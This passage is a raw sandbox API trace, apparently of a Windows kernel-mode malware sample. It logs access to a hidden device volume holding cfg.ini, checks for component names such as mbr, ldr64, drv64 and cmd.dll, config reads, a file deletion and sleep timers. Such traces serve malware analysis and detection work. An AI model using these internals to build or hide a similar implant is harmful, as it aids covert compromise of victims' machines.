(FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6970, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.608] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.608] KeLeaveCriticalRegion () [0121.608] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.608] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.608] KeEnterCriticalRegion () [0121.608] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.608] ExFreePoolWithTag (P=0xfffffa8003bc53c0, Tag=0x0) [0121.608] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.608] KeLeaveCriticalRegion () [0121.608] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.608] ReleaseMutex (hMutex=0xf0) returned 1 [0121.608] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.608] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.608] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.608] KeEnterCriticalRegion () [0121.608] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.608] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.608] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.608] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.608] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.608] IdePortDispatch () returned 0x103 [0121.608] KeWaitForMutexObject () returned 0x0 [0121.608] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.608] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.608] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.608] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.608] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.608] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4280 [0121.608] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.608] KeLeaveCriticalRegion () [0121.608] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.608] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.608] KeEnterCriticalRegion () [0121.609] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.609] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.609] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.609] KeLeaveCriticalRegion () [0121.609] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.609] KeEnterCriticalRegion () [0121.609] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.609] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.609] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.609] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.609] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.609] IdePortDispatch () returned 0x103 [0121.609] KeWaitForMutexObject () returned 0x0 [0121.609] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.609] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.609] KeLeaveCriticalRegion () [0121.609] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.609] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.609] KeEnterCriticalRegion () [0121.609] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.609] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b5f000 [0121.609] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.609] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.609] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.609] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.609] IdePortDispatch () returned 0x103 [0121.609] KeWaitForMutexObject () returned 0x0 [0121.609] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.609] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.609] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.610] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.610] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.610] IdePortDispatch () returned 0x103 [0121.610] KeWaitForMutexObject () returned 0x0 [0121.610] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.610] KeLeaveCriticalRegion () [0121.610] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.610] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.610] KeEnterCriticalRegion () [0121.610] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.610] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.610] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.610] KeLeaveCriticalRegion () [0121.610] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.610] KeEnterCriticalRegion () [0121.610] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.610] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.610] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.610] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.610] KeLeaveCriticalRegion () [0121.610] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.611] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.611] KeEnterCriticalRegion () [0121.611] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.611] ExFreePoolWithTag (P=0xfffffa8003bc4280, Tag=0x0) [0121.611] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.611] KeLeaveCriticalRegion () [0121.611] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.611] ReleaseMutex (hMutex=0xf0) returned 1 [0121.611] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.611] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.611] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.611] KeEnterCriticalRegion () [0121.611] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.611] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.611] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.611] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.611] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.611] IdePortDispatch () returned 0x103 [0121.611] KeWaitForMutexObject () returned 0x0 [0121.611] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.611] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.611] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.611] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.611] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.611] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd6bb0 [0121.611] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.611] KeLeaveCriticalRegion () [0121.611] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.611] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.611] KeEnterCriticalRegion () [0121.611] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.611] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.611] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.611] KeLeaveCriticalRegion () [0121.611] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.611] KeEnterCriticalRegion () [0121.612] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.612] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.612] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.612] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.612] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.612] IdePortDispatch () returned 0x103 [0121.612] KeWaitForMutexObject () returned 0x0 [0121.612] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.612] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.612] KeLeaveCriticalRegion () [0121.612] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.612] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.612] KeEnterCriticalRegion () [0121.612] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.612] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b60000 [0121.612] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.612] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.612] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.612] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.612] IdePortDispatch () returned 0x103 [0121.612] KeWaitForMutexObject () returned 0x0 [0121.612] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.612] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.612] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.612] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.612] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.612] IdePortDispatch () returned 0x103 [0121.612] KeWaitForMutexObject () returned 0x0 [0121.613] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.613] KeLeaveCriticalRegion () [0121.613] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.613] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.613] KeEnterCriticalRegion () [0121.613] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.613] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.613] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.613] KeLeaveCriticalRegion () [0121.613] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.613] KeEnterCriticalRegion () [0121.613] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.613] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.613] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6c70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.613] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.613] KeLeaveCriticalRegion () [0121.613] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.613] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.613] KeEnterCriticalRegion () [0121.613] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.613] ExFreePoolWithTag (P=0xfffffa8003bd6bb0, Tag=0x0) [0121.613] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.613] KeLeaveCriticalRegion () [0121.613] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.613] ReleaseMutex (hMutex=0xf0) returned 1 [0121.614] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.614] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.614] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.614] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.614] KeEnterCriticalRegion () [0121.614] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.614] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.614] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.614] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.614] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.614] IdePortDispatch () returned 0x103 [0121.614] KeWaitForMutexObject () returned 0x0 [0121.614] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.614] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.614] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.614] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.614] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.614] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.614] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.614] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.614] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.614] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.614] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.614] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.614] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.614] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.614] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.614] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.614] KeLeaveCriticalRegion () [0121.614] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.614] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.614] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.614] KeEnterCriticalRegion () [0121.614] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.614] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.614] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.614] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.614] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.614] IdePortDispatch () returned 0x103 [0121.615] KeWaitForMutexObject () returned 0x0 [0121.615] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.615] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.615] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.615] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.615] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.615] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.615] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.615] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.615] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.615] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.615] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.615] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.615] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.615] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.615] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.615] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.615] KeLeaveCriticalRegion () [0121.615] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.615] ReleaseMutex (hMutex=0x100) returned 1 [0121.615] Sleep (dwMilliseconds=0x2bf20) [0121.621] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6baf7750, dwHighDateTime=0x1d24fa4)) [0121.621] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.621] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.621] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.621] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.621] KeEnterCriticalRegion () [0121.621] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.621] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.621] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.621] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.622] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.622] IdePortDispatch () returned 0x103 [0121.622] KeWaitForMutexObject () returned 0x0 [0121.622] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.622] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.622] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.622] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.622] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.622] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc5b70 [0121.622] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.622] KeLeaveCriticalRegion () [0121.622] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.622] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.622] KeEnterCriticalRegion () [0121.622] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.622] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.622] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.622] KeLeaveCriticalRegion () [0121.622] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.622] KeEnterCriticalRegion () [0121.622] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.622] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.622] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.622] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.622] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.622] IdePortDispatch () returned 0x103 [0121.622] KeWaitForMutexObject () returned 0x0 [0121.623] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.623] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 